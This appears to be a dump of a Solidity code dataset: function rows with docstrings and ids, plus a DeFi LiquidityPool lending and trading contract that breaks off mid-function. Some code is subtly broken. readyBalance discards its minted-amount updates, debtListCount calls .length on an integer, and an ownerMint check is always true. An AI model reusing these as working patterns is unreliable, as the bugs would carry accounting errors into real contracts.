_getNibbleArray(encodedPartialPath); bytes memory slicedPath = new bytes(partialPath.length); // pathPtr counts nibbles in path // partialPath.length is a number of nibbles for (uint256 i = pathPtr; i < pathPtr + partialPath.length; i++) { bytes1 pathNibble = path[i]; slicedPath[i - pathPtr] = pathNibble; } if (keccak256(partialPath) == keccak256(slicedPath)) { len = partialPath.length; } else { len = 0; } return len; } // bytes b must be hp encoded function _getNibbleArray(bytes memory b) internal pure returns (bytes memory) { bytes memory nibbles = ""; if (b.length > 0) { uint8 offset; uint8 hpNibble = uint8(_getNthNibbleOfBytes(0, b)); if (hpNibble == 1 || hpNibble == 3) { nibbles = new bytes(b.length * 2 - 1); bytes1 oddNibble = _getNthNibbleOfBytes(1, b); nibbles[0] = oddNibble; offset = 1; } else { nibbles = new bytes(b.length * 2 - 2); offset = 0; } for (uint256 i = offset; i < nibbles.length; i++) { nibbles[i] = _getNthNibbleOfBytes(i - offset + 2, b); } } return nibbles; } function _getNthNibbleOfBytes(uint256 n, bytes memory str) private pure returns (bytes1) { return bytes1(n % 2 == 0 ? uint8(str[n / 2]) / 0x10 : uint8(str[n / 2]) % 0x10); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Merkle { function checkMembership( bytes32 leaf, uint256 index, bytes32 rootHash, bytes memory proof ) internal pure returns (bool) { require(proof.length % 32 == 0, "Invalid proof length"); uint256 proofHeight = proof.length / 32; // Proof of size n means, height of the tree is n+1. // In a tree of height n+1, max #leafs possible is 2 ^ n require(index < 2**proofHeight, "Leaf index is too big"); bytes32 proofElement; bytes32 computedHash = leaf; for (uint256 i = 32; i <= proof.length; i += 32) { assembly { proofElement := mload(add(proof, i)) } if (index % 2 == 0) { computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } index = index / 2; } return computedHash == rootHash; } } pragma solidity ^0.8.0; import {RLPReader} from "./RLPReader.sol"; library ExitPayloadReader { using RLPReader for bytes; using RLPReader for RLPReader.RLPItem; uint8 constant WORD_SIZE = 32; struct ExitPayload { RLPReader.RLPItem[] data; } struct Receipt { RLPReader.RLPItem[] data; bytes raw; uint256 logIndex; } struct Log { RLPReader.RLPItem data; RLPReader.RLPItem[] list; } struct LogTopics { RLPReader.RLPItem[] data; } // copy paste of private copy() from RLPReader to avoid changing of existing contracts function copy( uint256 src, uint256 dest, uint256 len ) private pure { if (len == 0) return; // copy as many word sizes as possible for (; len >= WORD_SIZE; len -= WORD_SIZE) { assembly { mstore(dest, mload(src)) } src += WORD_SIZE; dest += WORD_SIZE; } // left over bytes. Mask is used to remove unwanted bytes from the word uint256 mask = 256**(WORD_SIZE - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) // zero out src let destpart := and(mload(dest), mask) // retrieve the bytes mstore(dest, or(destpart, srcpart)) } } function toExitPayload(bytes memory data) internal pure returns (ExitPayload memory) { RLPReader.RLPItem[] memory payloadData = data.toRlpItem().toList(); return ExitPayload(payloadData); } function getHeaderNumber(ExitPayload memory payload) internal pure returns (uint256) { return payload.data[0].toUint(); } function getBlockProof(ExitPayload memory payload) internal pure returns (bytes memory) { return payload.data[1].toBytes(); } function getBlockNumber(ExitPayload memory payload) internal pure returns (uint256) { return payload.data[2].toUint(); } function getBlockTime(ExitPayload memory payload) internal pure returns (uint256) { return payload.data[3].toUint(); } function getTxRoot(ExitPayload memory payload) internal pure returns (bytes32) { return bytes32(payload.data[4].toUint()); } function getReceiptRoot(ExitPayload memory payload) internal pure returns (bytes32) { return bytes32(payload.data[5].toUint()); } function getReceipt(ExitPayload memory payload) internal pure returns (Receipt memory receipt) { receipt.raw = payload.data[6].toBytes(); RLPReader.RLPItem memory receiptItem = receipt.raw.toRlpItem(); if (receiptItem.isList()) { // legacy tx receipt.data = receiptItem.toList(); } else { // pop first byte before parsting receipt bytes memory typedBytes = receipt.raw; bytes memory result = new bytes(typedBytes.length - 1); uint256 srcPtr; uint256 destPtr; assembly { srcPtr := add(33, typedBytes) destPtr := add(0x20, result) } copy(srcPtr, destPtr, result.length); receipt.data = result.toRlpItem().toList(); } receipt.logIndex = getReceiptLogIndex(payload); return receipt; } function getReceiptProof(ExitPayload memory payload) internal pure returns (bytes memory) { return payload.data[7].toBytes(); } function getBranchMaskAsBytes(ExitPayload memory payload) internal pure returns (bytes memory) { return payload.data[8].toBytes(); } function getBranchMaskAsUint(ExitPayload memory payload) internal pure returns (uint256) { return payload.data[8].toUint(); } function getReceiptLogIndex(ExitPayload memory payload) internal pure returns (uint256) { return payload.data[9].toUint(); } // Receipt methods function toBytes(Receipt memory receipt) internal pure returns (bytes memory) { return receipt.raw; } function getLog(Receipt memory receipt) internal pure returns (Log memory) { RLPReader.RLPItem memory logData = receipt.data[3].toList()[receipt.logIndex]; return Log(logData, logData.toList()); } // Log methods function getEmitter(Log memory log) internal pure returns (address) { return RLPReader.toAddress(log.list[0]); } function getTopics(Log memory log) internal pure returns (LogTopics memory) { return LogTopics(log.list[1].toList()); } function getData(Log memory log) internal pure returns (bytes memory) { return log.list[2].toBytes(); } function toRlpBytes(Log memory log) internal pure returns (bytes memory) { return log.data.toRlpBytes(); } // LogTopics methods function getField(LogTopics memory topics, uint256 index) internal pure returns (RLPReader.RLPItem memory) { return topics.data[index]; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
src Pointer to source dest Pointer to destination len Amount of memory to copy from the source/ copy as many word sizes as possible
function copy( uint256 src, uint256 dest, uint256 len ) private pure { if (len == 0) return; for (; len >= WORD_SIZE; len -= WORD_SIZE) { assembly { mstore(dest, mload(src)) } src += WORD_SIZE; dest += WORD_SIZE; } if (len == 0) return; assembly { mstore(dest, or(destpart, srcpart)) } }
6,199,963
// SPDX-License-Identifier: Apache-2.0 pragma solidity >=0.6.4 <0.8.0; pragma experimental ABIEncoderV2; /// /// @title Ether Allowance Transactor Abstract Base Class /// @author Tyler R. Drury <[email protected]> (www.twitter.com/StudiosVigil) - copyright 1/5/2021, All Rights Reserved /// @dev extension of EtherTransactionABC which provides allowance functionality, /// similar to ERC20 tokens but for ETH and can be easily expanded to other applications /// /// NOTE: /// This contract can also be used for external addresses to enable allowances for external third parties as well /// import "https://github.com/vigilance91/solidarity/contracts/etherReceiver/transactor/EtherTransactorABC.sol"; import "https://github.com/vigilance91/solidarity/contracts/allowance/AllowanceABC.sol"; abstract contract EtherAllowanceTransactorABC is EtherTransactorABC, AllowanceABC { using SafeMath for uint256; using LogicConstraints for bool; using AddressConstraints for address; //using uint256Constraints for uint256; using frameworkEtherReceiver for address; string private constant _NAME = ' EtherAllowanceTransactorABC: '; //string private constant _TRANSFER_FAILED = _NAME.concatenate('transfer failed'); constructor( )internal EtherTransactorABC() AllowanceABC() { //if(msg.value > 0){ //(bool success, ) = payable(address(this)).call{value:msg.value}(""); //require(success, 'transfer failed'); //} //_registerInterface(type(iAllowance).interfaceId); //_registerInterface(type(iEtherAllowanceTransactor).interfaceId); } /// /// @return {uint256} difference between the total ETH held by the contract and totalAllowanceHeldInCustody() /// @dev represents the total amount of ETH that this contract is freely able to transfer or otherwise transact with /// function availableBalance( )public view returns( uint256 ){ return totalBalance().sub( totalAllowanceHeldInCustody() ); } function _requireAvailableBalanceGreaterThanOrEqual( uint256 amount )internal view { availableBalance().requireGreaterThanOrEqual(amount); } /// @dev require that this contract can transfer `amount` of allowance to recipient, if one is available /// otherwise revert function _requireCanWithdrawlAllowanceETH( address owner, address recipient, uint256 amount )internal view { //owner.requireNotEqualAndNotNull(recipient); _requireCanReceiveEther( recipient ); uint256 A = allowance( owner, recipient ); A.requireGreaterThanZero(); A.sub( amount, "allowance exceeded" ); } /// @dev require that this contract can transfer `amount` of allowance to recipient, if one is available /// otherwise revert function _requireThisCanWithdrawlAllowanceFromETH( address from, uint256 amount )internal view { _requireCanWithdrawlAllowanceETH( from, address(this), amount ); } /// @dev require recipient is able to withdrawl `amount` from an allowance approved by this contract function _requireCanWithdrawlAllowanceFromThisETH( address recipient, uint256 amount )internal view { _requireCanWithdrawlAllowanceETH( address(this), recipient, amount ); } /// /// @dev convenience wrapper for transferFrom with owner implicitly this contract /// function _ethTransferFromThis( address recipient, uint256 amount )internal virtual returns( bool ){ _requireCanWithdrawlAllowanceFromThisETH(recipient, amount); address sender = _msgSender(); address _this = address(this); (bool success, ) = payable(sender).call{value:amount}(""); success.requireTrue('transferEthFromThis failed'); _decreaseAllowance( _this, sender, amount ); return true; } /// @dev msg.sender transfer their allowance from owner to this contract function _ethTransferFromToThis( address owner, address spender, uint256 amount )internal virtual returns( bool ){ address _this = address(this); _requireCanWithdrawlAllowanceETH(owner, spender, amount); (bool success, ) = payable(_this).call{value:amount}(""); success.requireTrue('transferEthFromToThis failed'); _decreaseAllowance( owner, spender, amount ); return true; } }
require that this contract can transfer `amount` of allowance to recipient, if one is available otherwise revertowner.requireNotEqualAndNotNull(recipient);
function _requireCanWithdrawlAllowanceETH( address owner, address recipient, uint256 amount )internal view { _requireCanReceiveEther( recipient ); uint256 A = allowance( owner, recipient ); A.requireGreaterThanZero(); A.sub( amount, "allowance exceeded" ); }
943,939
./full_match/3/0x103E9df0BF772478b0031F57C424CD856B34EDa9/sources/demo2.sol
See {IaNFT-safeTransferFrom}./
function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrBrain(_msgSender(), tokenId), "aNFT: transfer caller is not brain nor approved"); _safeTransferOwner(from, to, tokenId, _data); }
14,157,433
./full_match/8453/0x4035957323FC05AD9704230E3dc1E7663091d262/sources/src/tokens/LzOFTCoreV2.sol
mock the payload for sendAndCall()
function _estimateSendAndCallFee( uint16 _dstChainId, bytes32 _toAddress, uint _amount, uint64 _dstGasForCall, bytes memory _payload, bool _useZro, bytes memory _adapterParams ) internal view virtual returns (uint nativeFee, uint zroFee) { bytes memory payload = _encodeSendAndCallPayload(msg.sender, _toAddress, _ld2sd(_amount), _payload, _dstGasForCall); return lzEndpoint.estimateFees(_dstChainId, address(this), payload, _useZro, _adapterParams); }
11,542,258
./full_match/4/0xA594CE95A15aa026b39E90c32e99C0cEaF847e29/sources/GasWarriors.sol
removed Mint event here bc of gas intensity of events.
function ownerMint(uint numberOfMints) public onlyOwner returns (uint256) { require(numberOfOwnerMints - numberOfMints >= 0, "Owner is maxed at 100 free mints only."); numberOfOwnerMints = numberOfOwnerMints - numberOfMints; for(uint i = 0; i < numberOfMints; i++) { _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _mint(_msgSender(), newItemId); } return _tokenIds.current(); }
716,085
./full_match/1/0xDd389666f178BC36931Be916Ba804a061E55f9F9/sources/contracts/Murasai.sol
region beneficiaries
function setBeneficiary(address _beneficiary) public onlyOwner { beneficiary = _beneficiary; }
3,854,435
./partial_match/4/0xeA7c8Ea5Af6344b2C4Fd219f7439c73CD30d6d5F/sources/Entaglend_V0.sol
See {IERC721Enumerable-tokenOfOwnerByIndex}./
function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view override returns (uint256) { return _holderTokens[owner].at(index); }
8,685,795
pragma solidity ^0.7.0; import "github.com/OpenZeppelin/openzeppelin-solidity/contracts/access/Ownable.sol"; import "github.com/OpenZeppelin/openzeppelin-solidity/contracts/math/SafeMath.sol"; import "github.com/OpenZeppelin/openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol"; import "github.com/OpenZeppelin/openzeppelin-solidity/contracts/utils/Address.sol"; import "github.com/OpenZeppelin/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol"; // import "github.com/OpenZeppelin/openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol"; import "github.com/OpenZeppelin/openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol"; import "./LiquidityPoolConfig.sol"; import "./IPriceOracle.sol"; import "./ERC20Mintable.sol"; // LiquidityPool implements the contract for handling stable coin // and synthetic tokens liquidity pools and providing core DeFi // function for tokens minting, trading and lending. // NOTE: We use ChainLink compatible oracles to compare token values. // ChainLink oracles provide all USD pairs with 8 digits shift currently. // E.g. value 100,000,000 = 1 USD. contract LiquidityPool is Ownable, ReentrancyGuard, LiquidityPoolConfig { // define used libs using SafeMath for uint256; using Address for address; using SafeERC20 for ERC20; // ------------------------------------------------------------- // Collateral data set keeps information about the locked // collateral against which the token borrowing is available. // ------------------------------------------------------------- // _collateral tracks token => user => collateral amount relationship mapping(address => mapping(address => uint256)) public _collateral; // _collateralTokens tracks user => token => collateral amount relationship mapping(address => mapping(address => uint256)) public _collateralTokens; // _collateralList tracks user => collateral tokens list mapping(address => address[]) public _collateralList; // _collateralValue tracks user => collateral value in ref. denomination (fUSD) // please note this is a stored value from the last collateral calculation // and may not be accurate due to the ref. denomination exchange rate change. // NOTE: We use ChainLink compatible ref. oracles which provide all USD pairs // with 8 digits shift. fUSD is kept in 18 digits. mapping(address => uint256) public _collateralValue; // ------------------------------------------------------------- // Debt data set keeps information about the borrowed // tokens value. // ------------------------------------------------------------- // _debt tracks token => user => debt amount relationship mapping(address => mapping(address => uint256)) public _debt; // _debtTokens tracks user => token => debt amount relationship mapping(address => mapping(address => uint256)) public _debtTokens; // _debtList tracks user => debt tokens list mapping(address => address[]) public _debtList; // _debtValue tracks user => debt value in ref. denomination (fUSD) // please note this is a stored value from the last debt calculation // and may not be accurate due to the ref. denomination exchange // rate change. // NOTE: We use ChainLink compatible ref. oracles which provide all USD pairs // with 8 digits shift. The fUSD is kept in 18 digits. mapping(address => uint256) public _debtValue; // ------------------------------------------------------------- // Minting data keeps information about the amount of tokens // minted for particular user. // ------------------------------------------------------------- // _debt tracks token => user => minted amount relationship mapping(address => mapping(address => uint256)) public _minted; // _debtTokens tracks user => token => minted amount relationship mapping(address => mapping(address => uint256)) public _mintedTokens; // ------------------------------------------------------------- // Containers and pools. // ------------------------------------------------------------- // feePool keeps information about the fee collected from // internal operations, especially buy/sell and borrow/repay in fUSD. // NOTE: We use ChainLink compatible ref. oracles which provide all USD pairs // with 8 digits shift. The fUSD is kept in 18 digits. uint256 public feePool; // ------------------------------------------------------------- // Emitted events. // ------------------------------------------------------------- // Deposit is emitted on token received to deposit // increasing user's collateral value. event Deposit(address indexed token, address indexed user, uint256 amount, uint256 timestamp); // Withdraw is emitted on confirmed token withdraw // from the deposit decreasing user's collateral value. event Withdraw(address indexed token, address indexed user, uint256 amount, uint256 timestamp); // Borrow is emitted on confirmed token loan against user's collateral value. event Borrow(address indexed token, address indexed user, uint256 amount, uint256 timestamp); // Repay is emitted on confirmed token repay of user's debt of the token. event Repay(address indexed token, address indexed user, uint256 amount, uint256 timestamp); // Buy is emitted on confirmed token purchase towards user's token balance. event Buy(address indexed token, address indexed user, uint256 amount, uint256 exchangeRate, uint256 timestamp); // Sell is emitted on confirmed token sale from user's token balance. event Sell(address indexed token, address indexed user, uint256 amount, uint256 exchangeRate, uint256 timestamp); // ------------------------------------------------------------- // Token lists management and utility functions // ------------------------------------------------------------- // addCollateralToList ensures the specified token is in user's list of collateral tokens. function addCollateralToList(address _token, address _owner) internal { bool found = false; address[] memory list = _collateralList[_owner]; // loop the current list and try to find the token for (uint256 i = 0; i < list.length; i++) { if (list[i] == _token) { found = true; break; } } // add the token to the list if not found if (!found) { _collateralList[_owner].push(_token); } } // addDebtToList ensures the specified token is in user's list of debt tokens. function addDebtToList(address _token, address _owner) internal { bool found = false; address[] memory list = _debtList[_owner]; // loop the list and try to find the token for (uint256 i = 0; i < list.length; i++) { if (list[i] == _token) { found = true; break; } } // add the token to the list if not found if (!found) { _debtList[_owner].push(_token); } } // readyBalance is used to assert we have enough <tokens> to cover // specified <amount>. The token is minted, if needed to be replenished. function readyBalance(address _token, uint256 _amount, address _user) internal { // do we have enough ERC20 tokens locally to satisfy the withdrawal? uint256 balance = ERC20(_token).balanceOf(address(this)); if (balance < _amount) { // mint the missing balance for the ERC20 tokens to cover the transfer // the local address has to have the minter privilege ERC20Mintable(_token).mint(address(this), _amount.sub(balance)); // register the amount of minted tokens _minted[_token][_user].add(_amount.sub(balance)); _mintedTokens[_user][_token].add(_amount.sub(balance)); } } // collateralListCount returns the number of tokens registered // for the given user on collateral list. function collateralListCount(address _owner) public view returns (uint256) { // any collateral at all? if (_collateralValue[_owner] == 0) { return 0; } // return the current collateral array length return _collateralList[_owner].length; } // debtListCount returns the number of tokens registered // for the given user on debt list. function debtListCount(address _owner) public view returns (uint256) { // any debt at all? if (_debtValue[_owner] == 0) { return 0; } // return the current debt tokens array length return _debtValue[_owner].length; } // priceDigitsCorrection returns the correction required // for FTM/ERC20 (18 digits) to another 18 digits number exchange // through an 8 digits USD (ChainLink compatible) price oracle. function priceDigitsCorrection() public pure returns (uint256) { // 10 ^ (srcDigits - (dstDigits - priceDigits)) // return 10 ** (18 - (18 - 8)); return 100000000; } // ------------------------------------------------------------------------ // Collateral and debt value calculation. // Note: We need to make sure to calculate with the same decimals here. // Verify the price oracle decimals setup! // ------------------------------------------------------------------------ // collateralValue calculates the current value of all collateral assets // of a user in the ref. denomination (fUSD). function collateralValue(address _user) public view returns (uint256 cValue) { // loop all registered collateral tokens of the user for (uint i = 0; i < _collateralList[_user].length; i++) { // get the current exchange rate of the specific token uint256 rate = IPriceOracle(priceOracle).getPrice(_collateralList[_user][i]); // add the asset token value to the total <asset value> = <asset amount> * <rate> // the range is corrected for the FUSD digits. // where the asset amount is taken from the mapping // _collateral: token address => owner address => amount cValue = cValue.add(_collateral[_collateralList[_user][i]][_user].mul(rate).div(priceDigitsCorrection())); } return cValue; } // debtValue calculates the current value of all collateral assets // of a user in the ref. denomination (fUSD). function debtValue(address _user) public view returns (uint256 dValue) { // loop all registered debt tokens of the user for (uint i = 0; i < _debtList[_user].length; i++) { // get the current exchange rate of the specific token uint256 rate = IPriceOracle(priceOracle).getPrice(_debtList[_user][i]); // add the token debt value to the total <asset value> = <asset amount> * <rate> // the range is corrected for the FUSD digits. // where the asset amount is taken from the mapping // _collateral: token address => owner address => amount dValue = dValue.add(_debt[_debtList[_user][i]][_user].mul(rate).div(priceDigitsCorrection())); } return dValue; } // ------------------------------------------------------------------------ // Collateral assets management section // ------------------------------------------------------------------------ // deposit receives assets (any token including native FTM and fUSD) to build up // the collateral value. The collateral can be used later to borrow tokens. // The call does not subtract any fee. No interest is granted. function deposit(address _token, uint256 _amount) external payable nonReentrant { // make sure a non-zero value is being deposited require(_amount > 0, "non-zero amount required"); // if this is a non-native token, verify that the user has enough balance // of the ERC20 token to send the designated amount to the deposit if (_token != nativeToken) { require(msg.value == 0, "only ERC20 token expected, native token received"); require(_amount <= ERC20(_token).balanceOf(msg.sender), "token balance too low"); } else { // on native tokens, the designated amount deposited must match // the native tokens attached to this transaction require(msg.value == _amount, "invalid native tokens amount received"); } // update the collateral value storage _collateral[_token][msg.sender] = _collateral[_token][msg.sender].add(_amount); _collateralTokens[msg.sender][_token] = _collateralTokens[msg.sender][_token].add(_amount); // make sure the token is on the list of collateral tokens for the sender addCollateralToList(_token, msg.sender); // re-calculate the current value of the whole collateral deposit // across all assets kept _collateralValue[msg.sender] = collateralValue(msg.sender); // is this an ERC20 token? // if it's a native token, we already received the balance along with the trx if (_token != nativeToken) { // ERC20 tokens must be transferred from the sender to this contract // address by ERC20 safe transfer call ERC20(_token).safeTransferFrom(msg.sender, address(this), _amount); } // emit the event signaling a successful deposit emit Deposit(_token, msg.sender, _amount, block.timestamp); } // withdraw subtracts any deposited collateral token, including native FTM, // that has a value, from the contract. The remaining collateral value is compared // to the minimal required collateral to debt ratio and the transfer is rejected // if the ratio is lower than the enforced one. function withdraw(address _token, uint256 _amount) external nonReentrant { // make sure the requested withdraw amount makes sense require(_amount > 0, "non-zero amount expected"); // update collateral value of the token to a new value // we don't need to check the current balance against the requested withdrawal // the SafeMath does that validation for us inside the <.sub> call. _collateral[_token][msg.sender] = _collateral[_token][msg.sender].sub(_amount, "withdraw amount exceeds balance"); _collateralTokens[msg.sender][_token] = _collateralTokens[msg.sender][_token].sub(_amount, "withdraw amount exceeds balance"); // calculate the collateral and debt values in ref. denomination // for the current exchange rate and balance amounts uint256 cDebtValue = debtValue(msg.sender); uint256 cCollateralValue = collateralValue(msg.sender); // minCollateralValue is the minimal collateral value required for the current debt // to be within the minimal allowed collateral to debt ratio uint256 minCollateralValue = cDebtValue.mul(colLowestRatio4dec).div(ratioDecimalsCorrection); // does the new state complain with the enforced minimal collateral to debt ratio? // if the check fails, the collateral state change above is reverted by EVM require(cCollateralValue >= minCollateralValue, "collateral value below allowed ratio"); // the new state is ok; update the state values _collateralValue[msg.sender] = cCollateralValue; _debtValue[msg.sender] = cDebtValue; // is this a native token or ERC20 withdrawal? if (_token != nativeToken) { // do we have enough ERC20 tokens to satisfy the withdrawal? readyBalance(_token, _amount, msg.sender); // transfer the requested amount of ERC20 tokens to the caller ERC20(_token).safeTransfer(msg.sender, _amount); } else { // native tokens are being withdrawn; transfer the requested amount // we transfer control to the recipient here, so we have to mittigate re-entrancy // solhint-disable-next-line avoid-call-value (bool success,) = msg.sender.call.value(_amount)(""); require(success, "unable to send withdraw"); } // signal the successful asset withdrawal emit Withdraw(_token, msg.sender, _amount, block.timestamp); } // ------------------------------------------------------------------------ // FTrade - ERC20 tokens direct exchange (buy/sell) for fUSD tokens section // ------------------------------------------------------------------------ // buy allows user to buy a token for fUSD directly // A configured trade fee is applied to the purchase. // Native tokens and fUSD tokens can not be directly purchased here. function buy(address _token, uint256 _amount) external nonReentrant { // make sure the purchased amount makes sense require(_amount > 0, "non-zero amount expected"); // buyer can not trade native FTM tokens and fUSD here require(_token != nativeToken, "native token trading prohibited"); require(_token != fUsdToken, "fUSD token trading prohibited"); // get the token to the fUSD exchange rate // we use fUSD as the ref. denomination uint256 exRate = IPriceOracle(priceOracle).getPrice(_token); require(exRate > 0, "token has no value"); // calculate the purchase value with the corresponding fee // e.g. how much fUSD should I pay to get the <amount> of tokens // NOTE: the exRate decimals need to be taken into consideration here! uint256 buyValue = _amount.mul(exRate).div(priceDigitsCorrection()); uint256 fee = buyValue.mul(tradeFee4dec).div(ratioDecimalsCorrection); uint256 buyValueIncFee = buyValue.add(fee); // verify the buyer has enough balance to pay the price and fee uint256 balance = ERC20(fUsdToken).balanceOf(msg.sender); require(balance >= buyValueIncFee, "insufficient funds"); // claim fUSD value of the purchase including the fee from the trader ERC20(fUsdToken).safeTransferFrom(msg.sender, address(this), buyValueIncFee); // make sure we have enough tokens in the pool readyBalance(_token, _amount, msg.sender); // transfer the purchased token amount to the buyer ERC20(_token).safeTransfer(msg.sender, _amount); // remember how much we gained from the fee feePool = feePool.add(fee); // notify successful purchase emit Buy(_token, msg.sender, _amount, exRate, block.timestamp); } // sell allows user to sell a token for fUSD directly // A configured trade fee is applied to the sale. // Native tokens and fUSD tokens can not be directly sold here. function sell(address _token, uint256 _amount) external nonReentrant { // make sure the purchased amount makes sense require(_amount > 0, "non-zero amount expected"); // buyer can not trade native FTM tokens and fUSD here require(_token != nativeToken, "native token trading prohibited"); require(_token != fUsdToken, "fUSD token trading prohibited"); // does the seller have enough balance to cover the sale? uint256 balance = ERC20(_token).balanceOf(msg.sender); require(balance >= _amount, "insufficient funds"); // get the exchange rate of the token to fUSD uint256 exRate = IPriceOracle(priceOracle).getPrice(_token); require(exRate > 0, "token has no value"); // what's the value of the token being sold in fUSD // e.g. how much fUSD should I get selling the <amount> of tokens uint256 sellValue = _amount.mul(exRate).div(priceDigitsCorrection()); // what is the fee of the sale? and how much of the fUSD the seller actually gets uint256 fee = sellValue.mul(tradeFee4dec).div(ratioDecimalsCorrection); uint256 sellValueExFee = sellValue.sub(fee); // claim sold token ERC20(_token).safeTransferFrom(msg.sender, address(this), _amount); // make sure we have enough fUSD tokens to cover the sale // what is the practical meaning of minting fUSD here // if the pool is depleted? readyBalance(fUsdToken, sellValueExFee, msg.sender); // transfer fUSD tokens to the seller ERC20(fUsdToken).safeTransfer(msg.sender, sellValueExFee); // remember the fee we gained from this trade feePool = feePool.add(fee); // notify successful sale emit Sell(_token, msg.sender, _amount, exRate, block.timestamp); } // trade executes a direct exchange trade from source token // to destination token using subsequent sell and buy operations. // The trade always goes through the fUSD as the only allowed // trade value reference. function trade(address _fromToken, address _toToken, uint256 _amount) external nonReentrant { // make sure the purchased amount makes sense require(_amount > 0, "non-zero amount expected"); // native token can not be used in trades require(_fromToken != nativeToken, "native token trading prohibited"); require(_toToken != nativeToken, "native token trading prohibited"); // two different tokens must be used here require(_toToken != _fromToken, "different tokens expected"); // does the seller have enough balance to cover the sale? uint256 balance = ERC20(_fromToken).balanceOf(msg.sender); require(balance >= _amount, "insufficient funds"); // what is the sell value of the source token in fUSD uint256 sellValue = _amount; if (_fromToken != fUsdToken) { // get the exchange rate of the token to fUSD uint256 fromRate = IPriceOracle(priceOracle).getPrice(_fromToken); require(fromRate > 0, "token has no value"); // what's the value of the token being sold in fUSD // e.g. how much fUSD should I get selling the <amount> of tokens sellValue = _amount.mul(fromRate).div(priceDigitsCorrection()); // notify about the selling of the source token emit Sell(_fromToken, msg.sender, _amount, fromRate, block.timestamp); } // what is the fee of the sale? how much fUSD is left for the trade? uint256 fee = sellValue.mul(tradeFee4dec).div(ratioDecimalsCorrection); uint256 sellValueExFee = sellValue.sub(fee); // what is the buy amount uint256 buyAmount = sellValueExFee; if (_toToken != fUsdToken) { // get the exchange rate of the token to fUSD uint256 toRate = IPriceOracle(priceOracle).getPrice(_toToken); require(toRate > 0, "token has no value"); // how much target tokens can I get for the gained fUSD ex. fee buyAmount = sellValueExFee.mul(priceDigitsCorrection()).div(toRate); // notify about the purchase of the target token emit Buy(_toToken, msg.sender, buyAmount, toRate, block.timestamp); } // claim sold token ERC20(_fromToken).safeTransferFrom(msg.sender, address(this), _amount); // remember the fee we gained from this trade feePool = feePool.add(fee); // make sure we have enough target tokens to cover the trade readyBalance(_toToken, buyAmount, msg.sender); // transfer target tokens to the buyer ERC20(_toToken).safeTransfer(msg.sender, buyAmount); } // ------------------------------------------------------------------------ // FLend - ERC20 tokens lending (borrow/repay) section // ------------------------------------------------------------------------ // borrow allows user to borrow a specified token against already established // collateral. The value of the collateral must be in at least <colLowestRatio4dec> // ratio to the total user's debt value on borrowing. function borrow(address _token, uint256 _amount) external nonReentrant { // make sure the debt amount makes sense require(_amount > 0, "non-zero amount expected"); // native tokens can not be borrowed through this contract require(_token != nativeToken, "native token not borrowable"); // make sure there is some collateral established by this user // we still need to re-calculate the current value though, since the value // could have changed due to exchange rate fluctuation require(_collateralValue[msg.sender] > 0, "collateral must be greater than 0"); // what is the value of the borrowed token? uint256 tokenValue = IPriceOracle(priceOracle).getPrice(_token); require(tokenValue > 0, "debt token has no value"); // calculate the entry fee and remember the value we gained uint256 fee = _amount.mul(tokenValue).div(priceDigitsCorrection()).mul(loanEntryFee4dec).div(ratioDecimalsCorrection); feePool = feePool.add(fee); // register the debt of fee in fUSD so we can calculate the new state _debt[fUsdToken][msg.sender] = _debt[fUsdToken][msg.sender].add(fee); _debtTokens[msg.sender][fUsdToken] = _debtTokens[msg.sender][fUsdToken].add(fee); addDebtToList(fUsdToken, msg.sender); // register the debt of borrowed token so we can calculate the new state _debt[_token][msg.sender] = _debt[_token][msg.sender].add(_amount); _debtTokens[msg.sender][_token] = _debtTokens[msg.sender][_token].add(_amount); addDebtToList(_token, msg.sender); // recalculate current collateral and debt values in fUSD uint256 cCollateralValue = collateralValue(msg.sender); uint256 cDebtValue = debtValue(msg.sender); // minCollateralValue is the minimal collateral value required for the current debt // to be within the minimal allowed collateral to debt ratio uint256 minCollateralValue = cDebtValue.mul(colLowestRatio4dec).div(ratioDecimalsCorrection); // does the new state complain with the enforced minimal collateral to debt ratio? // if the check fails, the debt state change above is reverted by EVM require(cCollateralValue >= minCollateralValue, "insufficient collateral"); // update the current collateral and debt value _collateralValue[msg.sender] = cCollateralValue; _debtValue[msg.sender] = cDebtValue; // make sure we have enough of the target tokens to lend readyBalance(_token, _amount, msg.sender); // transfer borrowed tokens to the user's address ERC20(_token).safeTransfer(msg.sender, _amount); // emit the borrow notification emit Borrow(_token, msg.sender, _amount, block.timestamp); } // repay allows user to return some of the debt of the specified token // the repay does not collect any fees and is not validating the user's total // collateral to debt position. function repay(address _token, uint256 _amount) external nonReentrant { // make sure the amount repaid makes sense require(_amount > 0, "non-zero amount expected"); // native tokens can not be borrowed through this contract // so there is no debt to be repaid on it require(_token != nativeToken, "native token not borrowable"); // subtract the returned amount from the user's debt _debt[_token][msg.sender] = _debt[_token][msg.sender].sub(_amount, "insufficient debt outstanding"); _debtTokens[msg.sender][_token] = _debtTokens[msg.sender][_token].sub(_amount, "insufficient debt outstanding"); // update current collateral and debt amount state _collateralValue[msg.sender] = collateralValue(msg.sender); _debtValue[msg.sender] = debtValue(msg.sender); // collect the tokens to be returned ERC20(_token).safeTransferFrom(msg.sender, address(this), _amount); // emit the repay notification emit Repay(_token, msg.sender, _amount, block.timestamp); } // ------------------------------------------------------------------------- // FLend - liquidation section // ------------------------------------------------------------------------- // The liquidation must be monitored off-chain and is executed on an account // if the collateral value to debt value ratio drops below pre-configured // liquidation ratio. The user's collateral and debt position is // cleared and all the remaining collateral assets are collected. // // NOTE: Shouldn't this function be under an access control? // ------------------------------------------------------------------------- function liquidate(address _owner) external nonReentrant { // recalculate the 